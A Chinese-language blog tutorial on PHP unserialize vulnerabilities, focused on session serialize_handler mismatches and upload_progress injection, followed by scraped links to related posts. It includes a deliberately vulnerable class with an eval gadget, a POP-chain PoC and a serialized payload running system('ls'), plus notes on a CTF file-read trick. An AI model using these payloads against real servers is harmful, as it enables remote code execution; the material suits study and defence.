代码编织梦想

前言

很久以前写过一篇文章讲过php的反序列化,PHP-Object-Injection。这次尽量对其进行一个较为全面的总结。如果还有其它的思路,欢迎补充。

漏洞种类

一是将传来的序列化数据直接unserilize,造成魔幻函数的执行。这种情况在一般的应用中依然屡见不鲜。

二是PHP Session 序列化及反序列化处理器设置使用不当会带来的安全隐患。

http://drops.wooyun.org/tips/3909?utm_source=tuicool&utm_medium=referral

ryat牛讲得很明白了。PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化。

Default

处理器 对应的存储格式

php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值

php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值

php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

1

2

3

4

处理器对应的存储格式

php键名+竖线+经过serialize()函数反序列处理的值

php_binary键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值

php_serialize(php>=5.5.4)经过serialize()函数反序列处理的数组

关键点在于,如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。

原因是未正确处理\\’|\\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据(\\’|\\’之前当作键名,\\’|\\’之后当作键值)。

(L.N.: php5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session)。

那么我们通过什么方式将数据注入到session中呢?

一方面,开发者本身将用户可控的数据传进了session,比如joomla等;

另一方面,可通过配置不当可造成session被控。当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。详情见https://bugs.php.net/bug.php?id=71101

难点在于构造出pop链达到自己想要的结果。跟rop链相同,现在已经有人在研究如何自动化构造出pop链,并取得了一些成效。

实例

//index.php

Default

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

ini_set('session.serialize_handler','php');

require("./class.php");

session_start();

$obj=newfoo1();

$obj->varr="phpinfo.php";

?>

跟phpinfo中显示出的配置文件(php_serialize)相比,对session序列化处理器是不一样的。

由于session.auto_start是打开的,所以它会先以php_serilize序列化方式存入,但在读取时却是以php序列化的方式,我们可以注入\\’|\\’,来使得后面任意伪造的序列化字符串,以此来利用反序列化漏洞。

//class.php

Default

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));

//show_source(__FILE__);

class foo1{

public $varr;

function __construct(){

$this->varr = "index.php";

}

function __destruct(){

if(file_exists($this->varr)){

echo "
文件".$this->varr."存在
";

}

echo "
这是foo1的析构函数
";

}

}

class foo2{

public $varr;

public $obj;

function __construct(){

$this->varr = '1234567890';

$this->obj = null;

}

function __toString(){

$this->obj->execute();

return $this->varr;

}

function __desctuct(){

echo "
这是foo2的析构函数
";

}

}

class foo3{

public $varr;

function execute(){

eval($this->varr);

}

function __desctuct(){

echo "
这是foo3的析构函数
";

}

}

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));

//show_source(__FILE__);

classfoo1{

public$varr;

function__construct(){

$this->varr="index.php";

}

function__destruct(){

if(file_exists($this->varr)){

echo"
文件".$this->varr."存在
";

}

echo"
这是foo1的析构函数
";

}

}

classfoo2{

public$varr;

public$obj;

function__construct(){

$this->varr='1234567890';

$this->obj=null;

}

function__toString(){

$this->obj->execute();

return$this->varr;

}

function__desctuct(){

echo"
这是foo2的析构函数
";

}

}

classfoo3{

public$varr;

functionexecute(){

eval($this->varr);

}

function__desctuct(){

echo"
这是foo3的析构函数
";

}

}

?>

写的很清晰,比起joomla的远程代码执行漏洞不知简单多少。

一环扣一环,foo3的execute函数中存在eval危险函数,foo2又调用了execute,foo1又有echo使得foo2的魔幻函数得以执行。如下poc:

Default

class foo3{

public $varr;

function __construct(){

$this->varr = 'system(\'ls\');';

}

}

class foo2{

public $varr;

public $obj;

function __construct(){

$this->varr = '1';

$this->obj = new foo3();

}

}

class foo1{

public $varr;

function __construct(){

$this->varr = new foo2();

}

}

echo serialize(new foo1());

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

classfoo3{

public$varr;

function__construct(){

$this->varr='system(\'ls\');';

}

}

classfoo2{

public$varr;

public$obj;

function__construct(){

$this->varr='1';

$this->obj=newfoo3();

}

}

classfoo1{

public$varr;

function__construct(){

$this->varr=newfoo2();

}

}

echoserialize(newfoo1());

?>

但关键的问题来了,用户的输入点在哪,怎样触发。仔细查看给出的phpinfo配置文件,发现了 session.upload_progress.enabled打开,并且session.upload_progress.cleanup关闭。这就 极大提高了漏洞的利用成功率。如果此选项session.upload_progress.cleanup打开,那么在利用时攻击者需要上传large and crash文件,来使得我们传入的data得以执行。

于是后面的操作为写一表单:

抓包将ryat后增加

Default

| O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:13:"system(\\'ls\\');";}}}

1

|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:13:"system(\\'ls\\');";}}}

f96da94fea4e37c78f6f3d9faf59401e.png

其它

还有种情况就是单纯地伪造数据,不利用魔幻函数,而是利用之后对序列化数据的处理来达到恶意效果。比如0ctf的唯一代码审计题。

懒得去找源码,就凭印象简单说下思路,里面有三个考点:

1. 用数组绕过正则;

2. 可控一部分反序列化数据,导致后面执行的指定文件读取变为了任意文件读取;

3. 由于可控部分还需考虑后面的单位,相当于伪造两个值,但之前的计算长度会增大。所以跟踪控制流,发现可巧妙利用过滤函数来增加长度。

我们这里只重点说第二部分,对于可控的一些反序列化数据能干嘛?

除了根据反序列化的性质外,更通用的是观察后面对此数据的敏感操作,如果有文件读取,删除等敏感操作,那么我们可以伪造从而达到任意操纵文件的效果。 可也会出现上面的情况,长度已定,后面还需不需要伪造数据,如果要,则跟踪控制流能否来解决长度等问题。当然,对于json或其它的存取格式也是这个道 理,而不是仅仅局限于反序列化的特性了。

反序列化的基本知识就这么多,如果还有猥琐好玩的利用,也欢迎大家分享出来。

结语

在实际代码审计中,这类漏洞是较为常见的。但是利用起来往往比较复杂。一是要跟踪到达漏洞点去,提供满足前期必要条件;二是将包含的类如何进行 有效利用。而一些大型的利用,pop链往往能达到5个以上,国外的不少应用早些年也爆出了危害相当高的漏洞,但在国内一直是不温不火的。

php代码中的序列化与反序列化(1)_vis-wing的博客-爱代码爱编程

序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 0×00 序列化和反序列化 简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符

记一道ctf反序列化_peithon的博客-爱代码爱编程_ctf 反序列化

0x00 使用burpsuite抓包,在URL上发现有用信息 发现key=123对应一个hash值,该hash的值通过md5解密得到kkkkkk01123,如果我们不是123那么就可以get到flag,构造kkkkkk

Session序列化选择器漏洞(ini_set('session.serialize_handler', 'php');)-爱代码爱编程

首先打开题目页面直接获得源码: <?php //A webshell is wait for you ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 设置选择session序列化选择器 session_start()

PHP序列化反序列化漏洞总结(一篇懂)-爱代码爱编程

文章目录 序列化和反序列化的概念与基础知识PHP的序列化访问控制修饰符PHP的反序列化反序列化POP链PHP反序列化漏洞(常规)绕过魔法方法的反序列化漏洞__wakeup()__destruct()示例一:示例二(连菜刀、反序列化免杀后门):__toString()Error类ExceptionPHP中Session反序列化(重点)简介与基础知识S

Thinkphp5.0.x_RCE复现&5.0.24反序列化大礼包-爱代码爱编程

环境部署 以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1 反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1 漏洞成因 现在TP的RCE通常将其分成两类: Request类其中变量被覆盖导致RCE路由控制不严谨导致可以调用任意类致使RCE反序列化的应用(

php反序列化利用_利用PHP反序列化-爱代码爱编程

php反序列化利用 Serialization is when an object in a programming language (say, a Java or PHP object) is converted into a format that can be stored or transferred. Wherea

Java transient关键字使用小记-爱代码爱编程

1. transient的作用及使用方法      我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable接口,这个类的所有属性和方法都会自动序列化。   然而在实际开发过程中,我们常常会遇到这样的问题,这

反序列化学习之PHP反序列化&POP链构造-爱代码爱编程

反序列化学习(一) 前言 反序列化漏洞的学习贯穿了我的整个网安学习过程,从刚开始参加纳新考核到现在,反序列化的题目一直是难题,挡在学习的路上。 这次刷完了ctfshow的反序列化漏洞的相关题目,打算借这次机会重新总结一遍反序列化漏洞的相关知识。 反序列化漏洞的种类非常的多,在很多语言环境下你都会发现序列化储存信息的方式,所以反序列化漏洞也出现在了各